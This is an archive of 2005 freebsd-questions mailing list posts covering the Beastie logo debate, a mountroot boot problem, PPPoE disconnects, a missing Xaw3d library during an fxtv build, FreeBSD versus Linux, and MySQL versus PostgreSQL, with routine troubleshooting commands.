Feb 2005 02:21:52 -0500 (EST) Received: by keyslapper.org (Postfix, from userid 1001) id 3945611A80; Sat, 12 Feb 2005 02:21:52 -0500 (EST) Date: Sat, 12 Feb 2005 02:21:52 -0500 From: Louis LeBlanc To: freebsd-questions@freebsd.org Message-ID: <20050212072152.GF22856@keyslapper.net> Mail-Followup-To: freebsd-questions@freebsd.org References: <006d01c510ac$64a7b920$6401a8c0@ticqzqkss78zrr> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="EuxKj2iCbKjpUGkD" Content-Disposition: inline In-Reply-To: <006d01c510ac$64a7b920$6401a8c0@ticqzqkss78zrr> X-PGP-Key: http://www.keyslapper.net/~leblanc/leblanc-at-keyslapper-net.asc User-Agent: Mutt/1.5.7i X-Virus-Scanned: amavisd-new at keyslapper.net X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [68.163.189.143] at Sat, 12 Feb 2005 01:22:00 -0600 Subject: Re: Beastie Logo, humble thoughts X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 07:22:02 -0000 --EuxKj2iCbKjpUGkD Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On 02/11/05 09:41 PM, Jay Kinkade sat at the `puter and typed: > Hey, could not help following this "beastie" logo thing in > freeBSD-questions. Wow, who would have thought that all these > usually sane, inovative, freeBSD loving posters could be so fierce. > Good for them(you)! Thank you. I think ;) > I thought the logo was anti-God when I first saw it and was afriad > of it, in a way. After a while that feeling went away and was > replaced with the feeling of pride and statisfaction of a great OS > that is better than any other, that is, especially Windows. Not sure I remember what I thought at first. At the time I think I was still trying to convince myself I was a faithful Christian. I don't think I EVER associated Beastie with the Devil. Maybe that's an indication I had already filed him (Satan) and my previous faith into the mythology drawer. Regardless, I congratulate you on seeing past your initial hangups. :) > No matter how things turn out in the end, freeBSD is a solid OS and > deserves to take it's rightful position in the market place. Face it > things change. Not that I'm avocating this a a good or need change, > however, one that should be carefully looked it from all angles, > with the freeBSD projects best intentions in mind. That's my mind, > thanks for listening. You know, I was one of the more vocal opponents to any change whatsoever. I still seriously oppose any change, but now I'm just a little tired of the war, and I have stepped back and recognized that I'm NOT a real contributor, but just a user, so I really shouldn't be such a fanatical opponent to any changes. While I am attached to Beastie for reasons I can't really explain at this point - not sure if it's the because of the crazy night out with the guys or just plain mental (emotional?) fatigue on this particular issue - I do understand that I should really just voice my opinion as a FreeBSD user then shut up. That is the reason I have effectively stopped taking part in the relevant threads - I only read your message because it is a new thread. Ok, overly talkative - that's certainly Sam Adams talking. Don't mind the spelling accuracy. I'm obsessive compulsive, and typed every third word four times :) 'nuf said, In short, I have to agree with your last point absolutely and completely. *Well said*. Cheers Lou --=20 Louis LeBlanc FreeBSD-at-keyslapper-DOT-net Fully Funded Hobbyist, KeySlapper Extrordinaire :) Please send off-list email to: leblanc at keyslapper d.t net Key fingerprint =3D C5E7 4762 F071 CE3B ED51 4FB8 AF85 A2FE 80C8 D9A2 Things equal to nothing else are equal to each other. --EuxKj2iCbKjpUGkD Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCDa6Qr4Wi/oDI2aIRAtO8AJ98PYP1rp0weCOlSBUcy1MIMyXlmQCbBWts UkdWTxyf9OUabIXzMUoE4YU= =XA7s -----END PGP SIGNATURE----- --EuxKj2iCbKjpUGkD-- From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 07:27:50 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 651F116A4CE for ; Sat, 12 Feb 2005 07:27:50 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id E872243D31 for ; Sat, 12 Feb 2005 07:27:49 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1C7Rpj30232; Fri, 11 Feb 2005 23:27:51 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Andrew L. Gould" , Date: Fri, 11 Feb 2005 23:27:50 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <200502110234.27610.algould@datawok.com> Importance: Normal Subject: RE: Please don't change Beastie to another crap logo suchasNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 07:27:50 -0000 > -----Original Message----- > From: Andrew L. Gould [mailto:algould@datawok.com] > Sent: Friday, February 11, 2005 12:34 AM > To: freebsd-questions@freebsd.org > Cc: Ted Mittelstaedt > Subject: Re: Please don't change Beastie to another crap logo > suchasNetBSD!!! > > > Explain how this has nothing to do with money, please? > > > > Ted > > I thought it referred to FreeBSD driver support in retail products. > Sure, it means the companies will get more of my money because there > would be more compatible hardware that's easy to identify. It > does not > necessarily equate to money for FreeBSD developers, however. > I never said it did. But quite obviously if FreeBSD usage expands, the developers skills become more valuable, they are worth more, can command more money, you know the rest. However, I will say that I don't think the developers in favor of this are looking at that. I do think though that the ones in favor have had pressure from companies to dump beastie - not perhaps direct pressure, but indirect pressure. And so far the strongest reasons cited by the developers in favor of this have been because corporate groups have made an issue about Beastie. Why do these developers care what some corporate group thinks if money has nothing to do with it? This gets into the question of just who are we creating FreeBSD for - ourselves and other users of FreeBSD - or the rest of the world who isn't using FreeBSD, and our goal is to go try pushing it. FreeBSD's strength has always been precisely because the people creating and contributing and using it have not been interested in writing it how someone else wants it, but have been interested in writing it how THEY themeselves want it. What happens is developers and the users that help them in the development process (beta testing, user feedback, etc.) are only concerned with their own problems and so they spend all their time perfecting the software to fix their problems. Because of this focusing, the code really can become very close to perfection and ends up solving that problem very, very well. Then what happens is the rest of the world sees how good it works and starts thinking about ways that they can modify their own environment to take advantage of the FreeBSD way of doing things. Novell in it's heyday had a phrase for this: "Think Red" What this meant was that Novell understood one of the truisms in software: you can either do a few things very good, or a lot of things rather poorly. When Novell lost sight of this was when they came out with Netware 4, which was an attempt to satisfy a bunch of large customers. Instead of writing Netware to be even better at what it was doing, they tried to make it a kitchen sink that would fix everything for everybody. Since the result didn't fix anything for anybody well enough for production use, the large customers never materialized, and the smaller customers decided they had had enough of this shit, and all went to Microsoft. Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 07:36:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2589F16A4CE for ; Sat, 12 Feb 2005 07:36:12 +0000 (GMT) Received: from server2.sonservers.com (server2.sonservers.com [69.50.210.200]) by mx1.FreeBSD.org (Postfix) with ESMTP id D949E43D49 for ; Sat, 12 Feb 2005 07:36:11 +0000 (GMT) (envelope-from info@sonservers.com) Received: from 209-181-158-172.omah.qwest.net ([209.181.158.172] helo=IBM-R40) by server2.sonservers.com with smtp (Exim 4.44 (FreeBSD)) id 1Czrp4-000CBI-Q3 for freebsd-questions@freebsd.org; Sat, 12 Feb 2005 01:36:11 -0600 From: Scott To: X-Mailer: Barca 1.1 (850) - Licensed Version Date: Sat, 12 Feb 2005 01:36:04 -0600 Message-ID: <20052121364.733527@IBM-R40> In-Reply-To: <2005211204233.443160@IBM-R40> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - server2.sonservers.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [26 6] X-AntiAbuse: Sender Address Domain - sonservers.com X-Source: X-Source-Args: X-Source-Dir: Subject: Re: Install 5.3 - Getting mountroot> prompt X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: info@sonservers.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 07:36:12 -0000 > I will really appreciate it of someone can > help > me out. > > I am installing 5.3 on a dual p3 server. I > have > two 160 gig Seagate IDE drives on the first > IDE > connector, and a CD rom on the 2nd IDE > connector. > I have reinstalled several times with > different > drive configurations and keep getting stuck > at > the same place. > > At boot, the normal countdown loader comes > up and > it begins to boot. The boot message gets to > this > drive section below and then stops at a > "mountroot>" prompt. > > Begin copy ....... > > ad0: 152627MB > [310101/16/63] > at ata0-master UDMA66 > ad1: 152627MB > [310101/16/63] > at ata0-master UDMA66 > acd0: at ata1-master PIO4 > > Manual root filesystem specification: > : Mount using > filesystem > > eg. usf:da0s1a > ? List valid desk boot devices > Abort manual input > > mountroot> > > ............ End copy > > If I type: ufs:ad0s1a > at that "mountroot>" > prompt, it will boot normally and as far as > I can > tell, all is working like I would expect. I > suspected this may have something to do > with my > fstab but it looks normal to me: > > /dev/ad0s1b none swap sw 0 0 > /dev/ad1s1b none swap sw 0 0 > /dev/ad0s1a / ufs rw 1 1 > /dev/ad1s1d /backup ufs rw 2 2 > /dev/ad0s1d /tmp ufs rw 2 2 > /dev/acd0 /cdrom cd9660 ro,noauto > 0 0 > > Please let me know if I can provide more > information that will help you help me know > what to do to get it to automatically go on > to boot ad0s1a. One more thing I just found out, if it helps. If I just let it boot, I get to the mountroot> prompt as above and can boot the system after entering the location of the root partition. If I chose option 2 and boot with ACPI off, the drives are not found and I get: FAILURE - ATA_IDENTIFY timed out errors on both the master and slave drives. At that point, I get the mountroot> prompt again, but of course can not mount the root partition. So now I'm wondering why if I boot with ACPI on, the drives are found, but root doesn't boot. With ACPI off, the drives are not even found. I hope that helps someone tell me where to look. 5.2.1 was booting off this same drive normally before I replaced it with 5.3. Thanks, Scott From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 07:41:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 060C816A4CE for ; Sat, 12 Feb 2005 07:41:40 +0000 (GMT) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9EB7B43D2F for ; Sat, 12 Feb 2005 07:41:39 +0000 (GMT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.13.1/8.13.1) id j1C7fdR8076230; Sat, 12 Feb 2005 01:41:39 -0600 (CST) (envelope-from dan) Date: Sat, 12 Feb 2005 01:41:39 -0600 From: Dan Nelson To: "Andrew P." Message-ID: <20050212074138.GD49626@dan.emsphone.com> References: <420D7EE3.5000305@mail.ru> <20050212040327.GA49626@dan.emsphone.com> <420D8177.30600@mail.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <420D8177.30600@mail.ru> X-OS: FreeBSD 5.3-STABLE X-message-flag: Outlook Error User-Agent: Mutt/1.5.7i cc: FreeBSD-Questions Subject: Re: Concealing short disconnects X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 07:41:40 -0000 In the last episode (Feb 12), Andrew P. said: > Dan Nelson wrote: > >In the last episode (Feb 12), Andrew P. said: > >>I have a few machines behind my FreeBSD box. The box connects to > >>ISP via ppp (PPPoE protocol). It's all working very nicely, but the > >>ISP is a pain - it disconnects every 24 hours. I can reconnect in > >>just a moment - so the diconnect is usually less than a second > >>long, but many applications, like ICQ/MSN and games "feel" the > >>disconnect. The matter is that these applications can handle fairly > >>large packet loss (e.g. Counter-Strike can cope with at least > >>15-second long 100% packet loss), but AFAIK it's in the nature of > >>the TCP/UDP that a disconnect is a disconnect. > >> > >>As I know that FreeBSD is full of magic, is there any way to > >>conceal these reconnects as short moments of 100% packet loss? I am > >>ashamed to know very little about protocols' technicalities, but > >>I'll look into any sources you advise. > > > >Check to see if your IP number changes when you reconnect. If it > >does, there's nothing you really can do; the remote system you were > >talking to knew you only by your old IP, and those packets coming to > >them from this other IP are unrelated. > > It changes only once in about a week. Let's say it doesn't change > at all. What then? I'm still suspicious :) The two most common causes for connection resets are IP address changes and NAT resets. /usr/sbin/ppp keeps its NAT table across disconnects as long as the process itself stays running, so I don't think that's the cause. If you have root access to a remote system, try running tcpdump on it and your local machine while running something like top over ssh, and watch what happens when your connection drops and reconnects. -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 07:43:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 71F7216A4CE for ; Sat, 12 Feb 2005 07:43:01 +0000 (GMT) Received: from hotmail.com (bay15-f5.bay15.hotmail.com [65.54.185.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id 417CC43D46 for ; Sat, 12 Feb 2005 07:43:01 +0000 (GMT) (envelope-from chkrootkit@hotmail.com) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 11 Feb 2005 23:43:00 -0800 Message-ID: Received: from 203.76.225.89 by by15fd.bay15.hotmail.msn.com with HTTP; Sat, 12 Feb 2005 07:42:21 GMT X-Originating-IP: [203.76.225.89] X-Originating-Email: [chkrootkit@hotmail.com] X-Sender: chkrootkit@hotmail.com From: "michael corleone corleone" To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 07:42:21 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-OriginalArrivalTime: 12 Feb 2005 07:43:00.0554 (UTC) FILETIME=[79FC22A0:01C510D6] Subject: fxtv: Error: shared library "Xaw3d.8" does not exist X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 07:43:01 -0000 %sysctl kern.version kern.version: FreeBSD 5.3-STABLE #7: Thu Feb 10 22:27:06 PHT 2005 MMP@RevolutionaryCry.Of.KarlMarx.Ru:/usr/obj/usr/src/sys/MMP % pkg_info |grep -i Xaw3d Xaw3d-1.5_1 A 3-D Athena Widget set that looks like Motif any idea why i still get this error, though my ports is always updated. i did try to issue the command # find / -name Xaw3d.8 because the error below is looking for this library, i hope anyone can help me fixing this, thanks. ******************************************************************* If you want Xaw3d to replace the default Athena Widget Set so most X applications will get a 3-D look, do this (as root): cd /usr/X11R6/lib mv libXaw.so.8 libXaw2d.so.8 ln -s libXaw3d.so.8 libXaw.so.8 ******************************************************************* ===> Running ldconfig /sbin/ldconfig -m /usr/X11R6/lib ===> Registering installation for Xaw3d-1.5_1 ===> Returning to build of fxtv-1.03_2 Error: shared library "Xaw3d.8" does not exist *** Error code 1 Stop in /usr/ports/multimedia/fxtv. *** Error code 1 _________________________________________________________________ Express yourself instantly with MSN Messenger! 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From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 08:39:19 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E9D0B16A4CE for ; Sat, 12 Feb 2005 08:39:19 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.207]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5E86543D49 for ; Sat, 12 Feb 2005 08:39:19 +0000 (GMT) (envelope-from linicks@gmail.com) Received: by rproxy.gmail.com with SMTP id 34so341536rns for ; Sat, 12 Feb 2005 00:39:18 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=cLKXflzCJmZSu9492a7kB+ojxRInLp2lFEyxOMCvvogpAo0c1/D2XMz6ISFCVQU2EV8uq9YBE1blBjWp/sppvwUQy244+H3q3oEhVGib+Y8vrLaB1EaXmpVITu4sxxJbFN58du0aAkngeRfbu4/cGYKXgaC2jCbutJ1mCP0gWHE= Received: by 10.38.179.61 with SMTP id b61mr84224rnf; Sat, 12 Feb 2005 00:39:18 -0800 (PST) Received: by 10.38.8.20 with HTTP; Sat, 12 Feb 2005 00:39:18 -0800 (PST) Message-ID: Date: Sat, 12 Feb 2005 01:39:18 -0700 From: Nick Pavlica To: Peterhin In-Reply-To: <200502112313.28082.hindrich@worldchat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <200502112313.28082.hindrich@worldchat.com> cc: Anthony Atkielski cc: freebsd-questions@freebsd.org Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Nick Pavlica List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 08:39:20 -0000 Peterhin, I have been an avid Linux/Open Source user and advocate for approximately 7 years . I was into Linux before it was the "Cool" thing to do. I have recently began my journey with FreeBSD, and I'm really enjoying it thus far. In fact, I have decided to use it on all of my production servers. You will read a thousand posts, various articles, and journals about the pros and cons of these operating systems. This will cause some confusion because someone will convince you that this is better than that, then another author will make a very strong case in the other direction. In the end,neither of these technologies is superior to the other. Each of them have goods and bad attributes that will determine what your experience will be. To really get a feel for these technologies you need to install and use them long enough to form your own opinion. Having experience with both of these will do nothing but benefit you. --Nick On Fri, 11 Feb 2005 23:13:27 -0500, Peterhin wrote: > Good day, I am a Newbie to Freebsd and was just reading your reply > "Re. Instead of freebsd.com, why not..." and you made the comment; > > "Linux is inferior to FreeBSD, and yet it is taken more seriously > because of the atmosphere around it, despite its technical inferiority" > > Could you please either explain, why Freebsd is superior to Linux, (I am > asking this as I would like to understand, in more depth, why it is > better) or direct me to a source that might give me some further > reading on the subject. > I would really appreciate a better understanding of the differences > between Freebsd and Linux. > > Thanking you for your time. > -- > Peter > > "Peace is never more than one thought away" > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 08:43:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BD32D16A4CE for ; Sat, 12 Feb 2005 08:43:29 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.194]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1EE0443D49 for ; Sat, 12 Feb 2005 08:43:29 +0000 (GMT) (envelope-from linicks@gmail.com) Received: by rproxy.gmail.com with SMTP id 34so341607rns for ; Sat, 12 Feb 2005 00:43:28 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=tA1AOuybBCDHQrKpVmQ2eNwBxcKXnsxBODw/4626HShZkVjq/XZo1kzW6rwD1zS3wS74fmU1KuuxBHiTiq2+86kMo0JPo6y6E6MR0MhUJvBXzQYG96eFEhVzJtP/YFIYzjQz0bsajhneLm0g5GYts/BJ4nHZx6Fb702Cqb7dUlQ= Received: by 10.38.179.13 with SMTP id b13mr85187rnf; Sat, 12 Feb 2005 00:43:28 -0800 (PST) Received: by 10.38.8.20 with HTTP; Sat, 12 Feb 2005 00:43:28 -0800 (PST) Message-ID: Date: Sat, 12 Feb 2005 01:43:28 -0700 From: Nick Pavlica To: Ean Kingston In-Reply-To: <200502111859.10482.ean@hedron.org> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050211115902.5BCC643D3F@mx1.FreeBSD.org> <420D2F12.8020808@comcast.net> <200502111859.10482.ean@hedron.org> cc: freebsd-questions@freebsd.org Subject: Re: SQL Questions (MySQL or PostgreSQL?) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Nick Pavlica List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 08:43:29 -0000 I have used both of these databases on critical production servers with great results. I would suggest that you play around with both of them. --Nick On Fri, 11 Feb 2005 18:59:10 -0500, Ean Kingston wrote: > On February 11, 2005 05:17 pm, Sean wrote: > > Jan Branbergen wrote: > > >>I would like to install SQL here for my own use, not for any real life > > >> > > >>currently, round now for learning. > > >> > > >>Right now plan to install MySQL. > > >>Looking through the ports there is numerous version and some say for > > >> > > >>server, some say for client. > > >> > > >>Looking for some tips as to what version of SQL and tools to > > >>install? > > >>Also wondering if anyone can point me towards documentation in my > > >>learning efforts? > > > > > > i would like to suggest PostgreSQL if your objective is learning SQL. > > > MySQL only provides a subset. > > > > > > it is by no means more complicated to install or to get started. > > > > > > regards, > > > > > > Jan > > > > What is the difference between PostgreSQL and MySQL? > > From what I see MySQL seems to be more common. > > From a basic design standpoint, MySQL was designed to be a fast language > compatible RDBMS system. To achieve that goal they cut out a lot of features. > Particularly those related to integrity, consistency, and validity checking. > > Postgres is designed to be a fully functional RDBMS that complies with the SQL > standard. It includes integrity, consistency, and validity checking that > MySQL lacks. > > I also think one of the reasons that MySQL is more common than Postgres is > because when they were both starting out, MySQL got a functional RDBMS out > much sooner than Postgres did and when Postgres did get theirs out, MySQL was > a lot faster (because of the lack of data validation). Postgres has since > closed the gap a lot on the speed issues while keeping the data integrity. > > On the other hand, there are a lot more tools that make managing a MySQL > server easier. > > -- > Ean Kingston > > E-Mail: ean AT hedron DOT org > URL: http://www.hedron.org/ > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 08:58:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7445A16A4CE for ; Sat, 12 Feb 2005 08:58:31 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.200]) by mx1.FreeBSD.org (Postfix) with ESMTP id 15B9543D2F for ; Sat, 12 Feb 2005 08:58:31 +0000 (GMT) (envelope-from sander.vesik@gmail.com) Received: by rproxy.gmail.com with SMTP id j1so404640rnf for ; Sat, 12 Feb 2005 00:58:30 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=eCLj0SfUQ7euyXa/4dci9IL3daThj3z6DL6283604vRv5ZJYTkTLcMkqYdKiHaU1w4BqRgV1KkSaCoOnf3CsJuBa97GmATzkqfr6WeBpyJKtP4VKonDMv0qhmeEwH8KeX8mIN6Z0Fh/7l0Ddls8Yt0S/T2QTuBsP1jL09cILMSM= Received: by 10.38.65.76 with SMTP id n76mr142939rna; Sat, 12 Feb 2005 00:58:30 -0800 (PST) Received: by 10.38.66.46 with HTTP; Sat, 12 Feb 2005 00:58:30 -0800 (PST) Message-ID: Date: Sat, 12 Feb 2005 10:58:30 +0200 From: Sander Vesik To: freebsd-questions@freebsd.org In-Reply-To: <1935025570.20050211232605@wanadoo.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <1108126229.4084.43.camel@localhost.localdomain> <2fd864e05021106537bdcff09@mail.gmail.com> <1108146951.31338.10.camel@hatter.wonderland.dn> <1935025570.20050211232605@wanadoo.fr> Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Sander Vesik List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 08:58:31 -0000 On Fri, 11 Feb 2005 23:26:05 +0100, Anthony Atkielski wrote: > Julio Capote writes: > > > A website like www.spreadfirefox.com aims at targetting firefox to > > regular users that may not get the full "marketing dosage" from > > www.mozilla.org, so why not do the same for freebsd? > > Because FreeBSD is a server, not a desktop. The real market potential > is on the server side. And if you want to convince large organizations > to adopt FreeBSD as a server, you must not present it as a substitute > for Windows desktops, a/k/a "regular users." This is BULLSHIT. Not just any any bullshit either but virulent stinky bullshit - and also coincidentially the best way to dispromote FreeBSD. > -- > Anthony > From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 09:21:17 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5F74A16A4CE for ; Sat, 12 Feb 2005 09:21:17 +0000 (GMT) Received: from out008.verizon.net (out008pub.verizon.net [206.46.170.108]) by mx1.FreeBSD.org (Postfix) with ESMTP id BEFB343D3F for ; Sat, 12 Feb 2005 09:21:16 +0000 (GMT) (envelope-from reso3w83@verizon.net) Received: from ringworm.mechee.com ([4.26.84.7]) by out008.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050212092116.TTYW9672.out008.verizon.net@ringworm.mechee.com>; Sat, 12 Feb 2005 03:21:16 -0600 Received: by ringworm.mechee.com (Postfix, from userid 1001) id 275492CE740; Sat, 12 Feb 2005 01:17:02 -0800 (PST) From: "Michael C. Shultz" To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 01:17:00 -0800 User-Agent: KMail/1.7.1 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502120117.01360.reso3w83@verizon.net> X-Authentication-Info: Submitted using SMTP AUTH at out008.verizon.net from [4.26.84.7] at Sat, 12 Feb 2005 03:21:15 -0600 cc: michael corleone corleone Subject: Re: fxtv: Error: shared library "Xaw3d.8" does not exist X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 09:21:17 -0000 On Friday 11 February 2005 11:42 pm, michael corleone corleone wrote: > %sysctl kern.version > kern.version: FreeBSD 5.3-STABLE #7: Thu Feb 10 22:27:06 PHT 2005 > MMP@RevolutionaryCry.Of.KarlMarx.Ru:/usr/obj/usr/src/sys/MMP > > % pkg_info |grep -i Xaw3d > Xaw3d-1.5_1 A 3-D Athena Widget set that looks like Motif > > any idea why i still get this error, though my ports is always > updated. > > i did try to issue the command # find / -name Xaw3d.8 because the > error below is looking for this library, i hope anyone can help me > fixing this, thanks. > > ******************************************************************* > If you want Xaw3d to replace the default Athena Widget Set > so most X applications will get a 3-D look, do this (as root): > > cd /usr/X11R6/lib > mv libXaw.so.8 libXaw2d.so.8 > ln -s libXaw3d.so.8 libXaw.so.8 > ******************************************************************* > ===> Running ldconfig > /sbin/ldconfig -m /usr/X11R6/lib > ===> Registering installation for Xaw3d-1.5_1 > ===> Returning to build of fxtv-1.03_2 > Error: shared library "Xaw3d.8" does not exist > *** Error code 1 This is a hack to see if the error is in xtv-1.03_2: try: ln -sv /usr/local/lib/libXaw3d.so.8 /usr/local/lib/Xaw3d.8 If that works then xtv-1.03_2 is looking for the wrong library name and you should notify the maintainer. To get the maintainer cd to xtv-1.03_2's /usr/ports's dir and run make maintainer. To clean up the above hack: rm -f /usr/local/lib/Xaw3d.8 -Mike > > Stop in /usr/ports/multimedia/fxtv. > *** Error code 1 > From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 09:26:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 86EC716A4CE for ; Sat, 12 Feb 2005 09:26:48 +0000 (GMT) Received: from out001.verizon.net (out001pub.verizon.net [206.46.170.140]) by mx1.FreeBSD.org (Postfix) with ESMTP id DAE9743D53 for ; Sat, 12 Feb 2005 09:26:47 +0000 (GMT) (envelope-from reso3w83@verizon.net) Received: from ringworm.mechee.com ([4.26.84.7]) by out001.verizon.net ESMTP <20050212092647.ZHJM29541.out001.verizon.net@ringworm.mechee.com>; Sat, 12 Feb 2005 03:26:47 -0600 Received: by ringworm.mechee.com (Postfix, from userid 1001) id 8BEF92CE740; Sat, 12 Feb 2005 01:22:34 -0800 